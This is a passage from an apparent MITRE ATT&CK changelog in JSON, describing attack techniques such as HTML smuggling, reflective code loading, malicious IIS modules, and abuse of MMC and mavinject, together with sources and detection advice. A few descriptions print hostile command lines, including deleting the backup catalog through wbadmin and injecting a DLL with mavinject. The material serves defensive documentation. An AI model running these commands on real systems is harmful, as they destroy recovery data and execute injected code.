DoubleExtension)\n\nCommon file types, such as text files (.txt, .doc, etc.) and image files (.jpg, .gif, etc.) are typically used as the first extension to appear benign. Executable extensions commonly regarded as dangerous, such as .exe, .lnk, .hta, and .scr, often appear as the second extension and true file type.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1036/007", "external_id": "T1036.007" }, { "source_name": "PCMag DoubleExtension", "description": "PCMag. (n.d.). Encyclopedia: double extension. Retrieved August 4, 2021.", "url": "https://www.pcmag.com/encyclopedia/term/double-extension" }, { "source_name": "SOCPrime DoubleExtension", "description": "Eugene Tkachenko. (2020, May 1). Rule of the Week: Possible Malicious File Double Extension. Retrieved July 27, 2021.", "url": "https://socprime.com/blog/rule-of-the-week-possible-malicious-file-double-extension/" }, { "source_name": "Seqrite DoubleExtension", "description": "Seqrite. (n.d.). How to avoid dual attack and vulnerable files with double extension?. Retrieved July 27, 2021.", "url": "https://www.seqrite.com/blog/how-to-avoid-dual-attack-and-vulnerable-files-with-double-extension/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "File: File Creation", "File: File Metadata" ], "x_mitre_detection": "Monitor for files written to disk that contain two file extensions, particularly when the second is an executable.(Citation: Seqrite DoubleExtension)", "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ "Windows" ], "x_mitre_version": "1.0" }, { "type": "attack-pattern", "id": "attack-pattern--d4dc46e3-5ba5-45b9-8204-010867cacfcb", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2021-05-20 12:20:42.219000+00:00", "modified": "2021-10-18 12:03:12.510000+00:00", "name": "HTML Smuggling", "description": "Adversaries may smuggle data and files past content filters by hiding malicious payloads inside of seemingly benign HTML files. HTML documents can store large binary objects known as JavaScript Blobs (immutable data that represents raw bytes) that can later be constructed into file-like objects. Data may also be stored in Data URLs, which enable embedding media type or MIME files inline of HTML documents. HTML5 also introduced a download attribute that may be used to initiate file downloads.(Citation: HTML Smuggling Menlo Security 2020)(Citation: Outlflank HTML Smuggling 2018)\n\nAdversaries may deliver payloads to victims that bypass security controls through HTML Smuggling by abusing JavaScript Blobs and/or HTML5 download attributes. Security controls such as web content filters may not identify smuggled malicious files inside of HTML/JS files, as the content may be based on typically benign MIME types such as text/plain and/or text/html. Malicious files or data can be obfuscated and hidden inside of HTML files through Data URLs and/or JavaScript Blobs and can be deobfuscated when they reach the victim (i.e. [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140)), potentially bypassing content filters.\n\nFor example, JavaScript Blobs can be abused to dynamically generate malicious files in the victim machine and may be dropped to disk by abusing JavaScript functions such as msSaveBlob.(Citation: HTML Smuggling Menlo Security 2020)(Citation: MSTIC NOBELIUM May 2021)(Citation: Outlflank HTML Smuggling 2018)(Citation: nccgroup Smuggling HTA 2017)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1027/006", "external_id": "T1027.006" }, { "source_name": "HTML Smuggling Menlo Security 2020", "description": "Subramanian, K. (2020, August 18). New HTML Smuggling Attack Alert: Duri. Retrieved May 20, 2021.", "url": "https://www.menlosecurity.com/blog/new-attack-alert-duri" }, { "source_name": "Outlflank HTML Smuggling 2018", "description": "Hegt, S. (2018, August 14). HTML smuggling explained. Retrieved May 20, 2021.", "url": "https://outflank.nl/blog/2018/08/14/html-smuggling-explained/" }, { "source_name": "MSTIC NOBELIUM May 2021", "description": "Microsoft Threat Intelligence Center (MSTIC). (2021, May 27). New sophisticated email-based attack from NOBELIUM. Retrieved May 28, 2021.", "url": "https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/" }, { "source_name": "nccgroup Smuggling HTA 2017", "description": "Warren, R. (2017, August 8). Smuggling HTA files in Internet Explorer/Edge. Retrieved May 20, 2021.", "url": "https://research.nccgroup.com/2017/08/08/smuggling-hta-files-in-internet-explorer-edge/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Stan Hegt, Outflank", "Jonathan Boucher, @crash_wave, Bank of Canada" ], "x_mitre_data_sources": [ "File: File Creation" ], "x_mitre_defense_bypassed": [ "Web content filters", "Anti-virus", "Static file analysis" ], "x_mitre_detection": "Detection of HTML Smuggling is difficult as HTML5 and JavaScript attributes are used by legitimate services and applications. HTML Smuggling can be performed in many ways via JavaScript, developing rules for the different variants, with a combination of different encoding and/or encryption schemes, may be very challenging.(Citation: Outlflank HTML Smuggling 2018) Detecting specific JavaScript and/or HTML5 attribute strings such as Blob, msSaveOrOpenBlob, and/or download may be a good indicator of HTML Smuggling. These strings may also be used by legitimate services therefore it is possible to raise false positives.\n\nConsider monitoring files downloaded from the Internet, possibly by HTML Smuggling, for suspicious activities. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities.", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "User" ], "x_mitre_platforms": [ "Windows", "Linux", "macOS" ], "x_mitre_version": "1.0" }, { "type": "attack-pattern", "id": "attack-pattern--4933e63b-9b77-476e-ab29-761bc5b7d15a", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2021-10-05 01:15:06.293000+00:00", "modified": "2021-10-17 15:13:55.615000+00:00", "name": "Reflective Code Loading", "description": "Adversaries may reflectively load code into a process in order to conceal the execution of malicious payloads. Reflective loading involves allocating then executing payloads directly within the memory of the process, vice creating a thread or process backed by a file path on disk. Reflectively loaded payloads may be compiled binaries, anonymous files (only present in RAM), or just snubs of fileless executable code (ex: position-independent shellcode).(Citation: Introducing Donut)(Citation: S1 Custom Shellcode Tool)(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Mandiant BYOL)\n\nReflective code injection is very similar to [Process Injection](https://attack.mitre.org/techniques/T1055) except that the \u201cinjection\u201d loads code into the processes\u2019 own memory instead of that of a separate process. Reflective loading may evade process-based detections since the execution of the arbitrary code may be masked within a legitimate or otherwise benign process. Reflectively loading payloads directly into memory may also avoid creating files or other artifacts on disk, while also enabling malware to keep these payloads encrypted (or otherwise obfuscated) until execution.(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Intezer ACBackdoor)(Citation: S1 Old Rat New Tricks)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1620", "external_id": "T1620" }, { "source_name": "Introducing Donut", "description": "The Wover. (2019, May 9). Donut - Injecting .NET Assemblies as Shellcode. Retrieved October 4, 2021.", "url": "https://thewover.github.io/Introducing-Donut/" }, { "source_name": "S1 Custom Shellcode Tool", "description": "Bunce, D. (2019, October 31). Building A Custom Tool For Shellcode Analysis. Retrieved October 4, 2021.", "url": "https://www.sentinelone.com/blog/building-a-custom-tool-for-shellcode-analysis/" }, { "source_name": "Stuart ELF Memory", "description": "Stuart. (2018, March 31). In-Memory-Only ELF Execution (Without tmpfs). Retrieved October 4, 2021.", "url": "https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html" }, { "source_name": "00sec Droppers", "description": "0x00pico. (2017, September 25). Super-Stealthy Droppers. Retrieved October 4, 2021.", "url": "https://0x00sec.org/t/super-stealthy-droppers/3715" }, { "source_name": "Mandiant BYOL", "description": "Kirk, N. (2018, June 18). Bring Your Own Land (BYOL) \u2013 A Novel Red Teaming Technique. Retrieved October 4, 2021.", "url": "https://www.mandiant.com/resources/bring-your-own-land-novel-red-teaming-technique" }, { "source_name": "Intezer ACBackdoor", "description": "Sanmillan, I. (2019, November 18). ACBackdoor: Analysis of a New Multiplatform Backdoor. Retrieved October 4, 2021.", "url": "https://www.intezer.com/blog/research/acbackdoor-analysis-of-a-new-multiplatform-backdoor/" }, { "source_name": "S1 Old Rat New Tricks", "description": "Landry, J. (2016, April 21). Teaching an old RAT new tricks. Retrieved October 4, 2021.", "url": "https://www.sentinelone.com/blog/teaching-an-old-rat-new-tricks/" }, { "source_name": "MDSec Detecting DOTNET", "description": "MDSec Research. (n.d.). Detecting and Advancing In-Memory .NET Tradecraft. Retrieved October 4, 2021.", "url": "https://www.mdsec.co.uk/2020/06/detecting-and-advancing-in-memory-net-tradecraft/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Jo\u00e3o Paulo de A. Filho, @Hug1nN__", "Joas Antonio dos Santos, @C0d3Cr4zy", "Shlomi Salem, SentinelOne", "Lior Ribak , SentinelOne", "Rex Guo, @Xiaofei_REX, Confluera" ], "x_mitre_data_sources": [ "Script: Script Execution", "Process: OS API Execution", "Module: Module Load" ], "x_mitre_defense_bypassed": [ "Application control", "Anti-virus" ], "x_mitre_detection": "Monitor for code artifacts associated with reflectively loading code, such as the abuse of .NET functions such as Assembly.Load() and [Native API](https://attack.mitre.org/techniques/T1106) functions such as CreateThread(), memfd_create(), execve(), and/or execveat().(Citation: 00sec Droppers)(Citation: S1 Old Rat New Tricks)\n\nMonitor for artifacts of abnormal process execution. For example, a common signature related to reflective code loading on Windows is mechanisms related to the .NET Common Language Runtime (CLR) -- such as mscor.dll, mscoree.dll, and clr.dll -- loading into abnormal processes (such as notepad.exe). Similarly, AMSI / ETW traces can be used to identify signs of arbitrary code execution from within the memory of potentially compromised processes.(Citation: MDSec Detecting DOTNET)(Citation: Introducing Donut)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ", "x_mitre_is_subtechnique": false, "x_mitre_permissions_required": [ "User" ], "x_mitre_platforms": [ "macOS", "Linux", "Windows" ], "x_mitre_version": "1.0" }, { "type": "attack-pattern", "id": "attack-pattern--b46a801b-fd98-491c-a25a-bca25d6e3001", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2021-06-03 18:44:29.770000+00:00", "modified": "2021-10-17 15:06:24.161000+00:00", "name": "IIS Components", "description": "Adversaries may install malicious components that run on Internet Information Services (IIS) web servers to establish persistence. IIS provides several mechanisms to extend the functionality of the web servers. For example, Internet Server Application Programming Interface (ISAPI) extensions and filters can be installed to examine and/or modify incoming and outgoing IIS web requests. Extensions and filters are deployed as DLL files that export three functions: Get{Extension/Filter}Version, Http{Extension/Filter}Proc, and (optionally) Terminate{Extension/Filter}. IIS modules may also be installed to extend IIS web servers.(Citation: Microsoft ISAPI Extension Overview 2017)(Citation: Microsoft ISAPI Filter Overview 2017)(Citation: IIS Backdoor 2011)(Citation: Trustwave IIS Module 2013)\n\nAdversaries may install malicious ISAPI extensions and filters to observe and/or modify traffic, execute commands on compromised machines, or proxy command and control traffic. ISAPI extensions and filters may have access to all IIS web requests and responses. For example, an adversary may abuse these mechanisms to modify HTTP responses in order to distribute malicious commands/content to previously comprised hosts.(Citation: Microsoft ISAPI Filter Overview 2017)(Citation: Microsoft ISAPI Extension Overview 2017)(Citation: Microsoft ISAPI Extension All Incoming 2017)(Citation: Dell TG-3390)(Citation: Trustwave IIS Module 2013)(Citation: MMPC ISAPI Filter 2012)\n\nAdversaries may also install malicious IIS modules to observe and/or modify traffic. IIS 7.0 introduced modules that provide the same unrestricted access to HTTP requests and responses as ISAPI extensions and filters. IIS modules can be written as a DLL that exports RegisterModule, or as a .NET application that interfaces with ASP.NET APIs to access IIS HTTP requests.(Citation: Microsoft IIS Modules Overview 2007)(Citation: Trustwave IIS Module 2013)(Citation: ESET IIS Malware 2021)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "persistence" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1505/004", "external_id": "T1505.004" }, { "source_name": "Microsoft ISAPI Extension Overview 2017", "description": "Microsoft. (2017, June 16). ISAPI Extension Overview. Retrieved June 3, 2021.", "url": "https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms525172(v=vs.90)" }, { "source_name": "Microsoft ISAPI Filter Overview 2017", "description": "Microsoft. (2017, June 16). ISAPI Filter Overview. Retrieved June 3, 2021.", "url": "https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms524610(v=vs.90)" }, { "source_name": "IIS Backdoor 2011", "description": "Julien. (2011, February 2). IIS Backdoor. Retrieved June 3, 2021.", "url": "https://web.archive.org/web/20170106175935/http:/esec-lab.sogeti.com/posts/2011/02/02/iis-backdoor.html" }, { "source_name": "Trustwave IIS Module 2013", "description": "Grunzweig, J. (2013, December 9). The Curious Case of the Malicious IIS Module. Retrieved June 3, 2021.", "url": "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/the-curious-case-of-the-malicious-iis-module/" }, { "source_name": "Microsoft ISAPI Extension All Incoming 2017", "description": "Microsoft. (2017, June 16). Intercepting All Incoming IIS Requests. Retrieved June 3, 2021.", "url": "https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms525696(v=vs.90)" }, { "source_name": "Dell TG-3390", "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" }, { "source_name": "MMPC ISAPI Filter 2012", "description": "MMPC. (2012, October 3). Malware signed with the Adobe code signing certificate. Retrieved June 3, 2021.", "url": "https://web.archive.org/web/20140804175025/http:/blogs.technet.com/b/mmpc/archive/2012/10/03/malware-signed-with-the-adobe-code-signing-certificate.aspx" }, { "source_name": "Microsoft IIS Modules Overview 2007", "description": "Microsoft. (2007, November 24). IIS Modules Overview. Retrieved June 17, 2021.", "url": "https://docs.microsoft.com/en-us/iis/get-started/introduction-to-iis/iis-modules-overview" }, { "source_name": "ESET IIS Malware 2021", "description": "Hromcov\u00e1, Z., Cherepanov, A. (2021). Anatomy of Native IIS Malware. Retrieved September 9, 2021.", "url": "https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Anatomy-Of-Native-Iis-Malware-wp.pdf" }, { "source_name": "Unit 42 RGDoor Jan 2018", "description": "Falcone, R. (2018, January 25). OilRig uses RGDoor IIS Backdoor on Targets in the Middle East. Retrieved July 6, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Wes Hurd" ], "x_mitre_data_sources": [ "File: File Creation", "File: File Modification", "Command: Command Execution" ], "x_mitre_detection": "Monitor for creation and/or modification of files (especially DLLs on webservers) that could be abused as malicious ISAPI extensions/filters or IIS modules. Changes to %windir%\\system32\\inetsrv\\config\\applicationhost.config could indicate an IIS module installation.(Citation: Microsoft IIS Modules Overview 2007)(Citation: ESET IIS Malware 2021)\n\nMonitor execution and command-line arguments of AppCmd.exe, which may be abused to install malicious IIS modules.(Citation: Microsoft IIS Modules Overview 2007)(Citation: Unit 42 RGDoor Jan 2018)(Citation: ESET IIS Malware 2021)", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "Administrator", "SYSTEM" ], "x_mitre_platforms": [ "Windows" ], "x_mitre_version": "1.0" }, { "type": "attack-pattern", "id": "attack-pattern--ffbcfdb0-de22-4106-9ed3-fc23c8a01407", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2021-09-28 01:36:41.638000+00:00", "modified": "2021-10-16 00:13:18.889000+00:00", "name": "MMC", "description": "Adversaries may abuse mmc.exe to proxy execution of malicious .msc files. Microsoft Management Console, or MMC, is a signed Windows binary and is used in several ways in either its GUI or in a command prompt.(Citation: win_mmc)(Citation: what_is_mmc) MMC can be used to create, open, and save custom consoles that contain administrative tools created by Microsoft, called snap-ins. These snap-ins may be used to manage Windows systems locally or remotely. MMC can also be used to open Microsoft created .msc files to manage system configuration.(Citation: win_msc_files_overview)\n\nFor example, mmc C:\\Users\\foo\\admintools.msc /a will open a custom, saved console msc file in author mode.(Citation: win_mmc) Another common example is mmc gpedit.msc, which will open the Group Policy Editor application window. \n\nAdversaries may use MMC commands to perform malicious tasks. For example, mmc wbadmin.msc delete catalog -quiet deletes the backup catalog on the system (i.e. [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490)) without prompts to the user (Note: wbadmin.msc may only be present by default on Windows Server operating systems).(Citation: win_wbadmin_delete_catalog)(Citation: phobos_virustotal)\n\nAdversaries may also abuse MMC to execute malicious .msc files. For example, adversaries may first create a malicious registry Class Identifier (CLSID) subkey, which uniquely identifies a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) class object.(Citation: win_clsid_key) Then, adversaries may create custom consoles with the \u201cLink to Web Address\u201d snap-in that is linked to the malicious CLSID subkey.(Citation: mmc_vulns) Once the .msc file is saved, adversaries may invoke the malicious CLSID payload with the following command: mmc.exe -Embedding C:\\path\\to\\test.msc.(Citation: abusing_com_reg)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1218/014", "external_id": "T1218.014" }, { "source_name": "win_mmc", "description": "Microsoft. (2017, October 16). mmc. Retrieved September 20, 2021.", "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/mmc" }, { "source_name": "what_is_mmc", "description": "Microsoft. (2020, September 27). What is Microsoft Management Console?. Retrieved October 5, 2021.", "url": "https://docs.microsoft.com/en-us/troubleshoot/windows-server/system-management-components/what-is-microsoft-management-console" }, { "source_name": "win_msc_files_overview", "description": "Brinkmann, M.. (2017, June 10). Windows .msc files overview. Retrieved September 20, 2021.", "url": "https://www.ghacks.net/2017/06/10/windows-msc-files-overview/" }, { "source_name": "win_wbadmin_delete_catalog", "description": "Microsoft. (2017, October 16). wbadmin delete catalog. Retrieved September 20, 2021.", "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-delete-catalog" }, { "source_name": "phobos_virustotal", "description": "Phobos Ransomware. (2020, December 30). Phobos Ransomware, Fast.exe. Retrieved September 20, 2021.", "url": "https://www.virustotal.com/gui/file/0b4c743246478a6a8c9fa3ff8e04f297507c2f0ea5d61a1284fe65387d172f81/detection " }, { "source_name": "win_clsid_key", "description": "Microsoft. (2018, May 31). CLSID Key. Retrieved September 24, 2021.", "url": "https://docs.microsoft.com/en-us/windows/win32/com/clsid-key-hklm" }, { "source_name": "mmc_vulns", "description": "Boxiner, A., Vaknin, E. (2019, June 11). Microsoft Management Console (MMC) Vulnerabilities. Retrieved September 24, 2021.", "url": "https://research.checkpoint.com/2019/microsoft-management-console-mmc-vulnerabilities/" }, { "source_name": "abusing_com_reg", "description": "bohops. (2018, August 18). ABUSING THE COM REGISTRY STRUCTURE (PART 2): HIJACKING & LOADING TECHNIQUES. Retrieved September 20, 2021.", "url": "https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Wes Hurd" ], "x_mitre_data_sources": [ "Process: Process Creation", "File: File Creation", "Command: Command Execution" ], "x_mitre_defense_bypassed": [ "Application control", "Digital Certificate Validation" ], "x_mitre_detection": "Monitor processes and command-line parameters for suspicious or malicious use of MMC. Since MMC is a signed Windows binary, verify use of MMC is legitimate and not malicious. \n\nMonitor for creation and use of .msc files. MMC may legitimately be used to call Microsoft-created .msc files, such as services.msc or eventvwr.msc. Invoking non-Microsoft .msc files may be an indicator of malicious activity. ", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "User", "Administrator" ], "x_mitre_platforms": [ "Windows" ], "x_mitre_version": "1.0" }, { "type": "attack-pattern", "id": "attack-pattern--1bae753e-8e52-4055-a66d-2ead90303ca9", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2021-09-22 17:45:10.241000+00:00", "modified": "2021-10-14 22:11:03.446000+00:00", "name": "Mavinject", "description": "Adversaries may abuse mavinject.exe to proxy execution of malicious code. Mavinject.exe is the Microsoft Application Virtualization Injector, a Windows utility that can inject code into external processes as part of Microsoft Application Virtualization (App-V).(Citation: LOLBAS Mavinject)\n\nAdversaries may abuse mavinject.exe to inject malicious DLLs into running processes (i.e. [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001)), allowing for arbitrary code execution (ex. C:\\Windows\\system32\\mavinject.exe PID /INJECTRUNNING PATH_DLL).(Citation: ATT Lazarus TTP Evolution)(Citation: Reaqta Mavinject) Since mavinject.exe is digitally signed by Microsoft, proxying execution via this method may evade detection by security products because the execution is masked under a legitimate process. \n\nIn addition to [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001), Mavinject.exe can also be abused to perform import descriptor injection via its /HMODULE command-line parameter (ex. mavinject.exe PID /HMODULE=BASE_ADDRESS PATH_DLL ORDINAL_NUMBER). This command would inject an import table entry consisting of the specified DLL into the module at the given base address.(Citation: Mavinject Functionality Deconstructed)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1218/013", "external_id": "T1218.013" }, { "source_name": "LOLBAS Mavinject", "description": "LOLBAS. (n.d.). Mavinject.exe. Retrieved September 22, 2021.", "url": "https://lolbas-project.github.io/lolbas/Binaries/Mavinject/" }, { "source_name": "ATT Lazarus TTP Evolution", "description": "Fernando Martinez. (2021, July 6). Lazarus campaign TTPs and evolution. Retrieved September 22, 2021.", "url": "https://cybersecurity.att.com/blogs/labs-research/lazarus-campaign-ttps-and-evolution" }, { "source_name": "Reaqta Mavinject", "description": "Reaqta. (2017, December 16). From False Positive to True Positive: the story of Mavinject.exe, the Microsoft Injector. Retrieved September 22, 2021.", "url": "https://reaqta.com/2017/12/mavinject-microsoft-injector/" }, { "source_name": "Mavinject Functionality Deconstructed", "description": "Matt Graeber. (2018, May 29). mavinject.exe Functionality Deconstructed. Retrieved September 22, 2021.", "url": "https://posts.specterops.io/mavinject-exe-functionality-deconstructed-c29ab2cf5c0e" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Process: Process Creation", "Command: Command Execution" ], "x_mitre_detection": "Monitor the execution and arguments of mavinject.exe. Compare recent invocations of mavinject.exe with prior history of known good arguments and injected DLLs to determine anomalous and potentially adversarial activity.\n\nAdversaries may rename abusable binaries to evade detections, but the argument INJECTRUNNING is required for mavinject.exe to perform [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001) and may therefore be monitored to alert malicious activity.", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "User" ], "x_mitre_platforms": [ "Windows" ], "x_mitre_version": "1.0" }, { "type": "attack-pattern", "id": "attack-pattern--c1b68a96-3c48-49ea-a6c0-9b27359f9c19", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2021-08-18 14:06:45.244000+00:00", "modified": "2021-10-15 22:00:56.174000+00:00", "name": "System Language Discovery", "description": "Adversaries may attempt to gather information about the system language of a victim in order to infer the geographical location of that host. This information may be used to shape follow-on behaviors, including whether the adversary infects the target and/or attempts specific actions. This decision may be employed by malware developers and operators to reduce their risk of attracting the attention of specific law enforcement agencies or prosecution/scrutiny from other entities.(Citation: Malware System Language Check)\n\nThere are various sources of data an adversary could use to infer system language, such as system defaults and keyboard layouts. Specific checks will vary based on the target and/or adversary, but may involve behaviors such as [Query Registry](https://attack.mitre.org/techniques/T1012) and calls to [Native API](https://attack.mitre.org/techniques/T1106) functions.(Citation: CrowdStrike Ryuk January 2019) \n\nFor example, on a Windows system adversaries may attempt to infer the language of a system by querying the registry key HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Nls\\Language or parsing the outputs of Windows API functions GetUserDefaultUILanguage, GetSystemDefaultUILanguage, GetKeyboardLayoutList and GetUserDefaultLangID.(Citation: Darkside Ransomware Cybereason)(Citation: Securelist JSWorm)(Citation: SecureList SynAck Doppelg\u00e4nging May 2018)\n\nOn a macOS or Linux system, adversaries may query locale to retrieve the value of the $LANG environment variable.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "discovery" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1614/001", "external_id": "T1614.001" }, { "source_name": "Malware System Language Check", "description": "Pierre-Marc Bureau. (2009, January 15). Malware Trying to Avoid Some Countries. Retrieved August 18, 2021.", "url": "https://www.welivesecurity.com/2009/01/15/malware-trying-to-avoid-some-countries/" }, { "source_name": "CrowdStrike Ryuk January 2019", "description": "Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020.", "url": "https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/" }, { "source_name": "Darkside Ransomware Cybereason", "description": "Cybereason Nocturnus. (2021, April 1). Cybereason vs. Darkside Ransomware. Retrieved August 18, 2021.", "url": "https://www.cybereason.com/blog/cybereason-vs-darkside-ransomware" }, { "source_name": "Securelist JSWorm", "description": "Fedor Sinitsyn. (2021, May 25). Evolution of JSWorm Ransomware. Retrieved August 18, 2021.", "url": "https://securelist.com/evolution-of-jsworm-ransomware/102428/" }, { "source_name": "SecureList SynAck Doppelg\u00e4nging May 2018", "description": "Ivanov, A. et al. (2018, May 7). SynAck targeted ransomware uses the Doppelg\u00e4nging technique. Retrieved May 22, 2018.", "url": "https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Harshal Tupsamudre, Qualys" ], "x_mitre_data_sources": [ "Windows Registry: Windows Registry Key Access", "Process: Process Creation", "Process: OS API Execution", "Command: Command Execution" ], "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system language information. This may include calls to various API functions and interaction with system configuration settings such as the Windows Registry.", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "User" ], "x_mitre_platforms": [ "Windows", "Linux", "macOS" ], "x_mitre_version": "1.0" } ], "major_version_changes": [ { "type": "attack-pattern", "id": "attack-pattern--035bb001-ab69-4a0b-9f6c-2de8b09e1b9d", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-02-11 19:07:12.114000+00:00", "modified": "2021-09-28 13:09:51.467000+00:00", "name": "Adversary-in-the-Middle", "description": "Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics)\n\nAdversaries may leverage the AiTM position to attempt to modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). Adversaries can also stop traffic from flowing to the appropriate destination, causing denial of service.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "credential-access" }, { "kill_chain_name": "mitre-attack", "phase_name": "collection" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1557", "external_id": "T1557" }, { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/94.html", "external_id": "CAPEC-94" }, { "source_name": "Rapid7 MiTM Basics", "description": "Rapid7. (n.d.). Man-in-the-Middle (MITM) Attacks. Retrieved March 2, 2020.", "url": "https://www.rapid7.com/fundamentals/man-in-the-middle-attacks/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Daniil Yugoslavskiy, @yugoslavskiy, Atomic Threat Coverage project" ], "x_mitre_data_sources": [ "Network Traffic: Network Traffic Content", "Network Traffic: Network Traffic Flow", "Service: Service Creation", "Windows Registry: Windows Registry Key Modification" ], "x_mitre_detection": "Monitor network traffic for anomalies associated with known AiTM behavior. Consider monitoring for modifications to system configuration files involved in shaping network traffic flow.", "x_mitre_is_subtechnique": false, "x_mitre_permissions_required": [ "User" ], "x_mitre_platforms": [ "Windows", "macOS", "Linux" ], "x_mitre_version": "2.0", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-09-28 13:09:51.467000+00:00\", \"old_value\": \"2020-10-16 15:19:48.733000+00:00\"}, \"root['name']\": {\"new_value\": \"Adversary-in-the-Middle\", \"old_value\": \"Man-in-the-Middle\"}, \"root['description']\": {\"new_value\": \"Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force 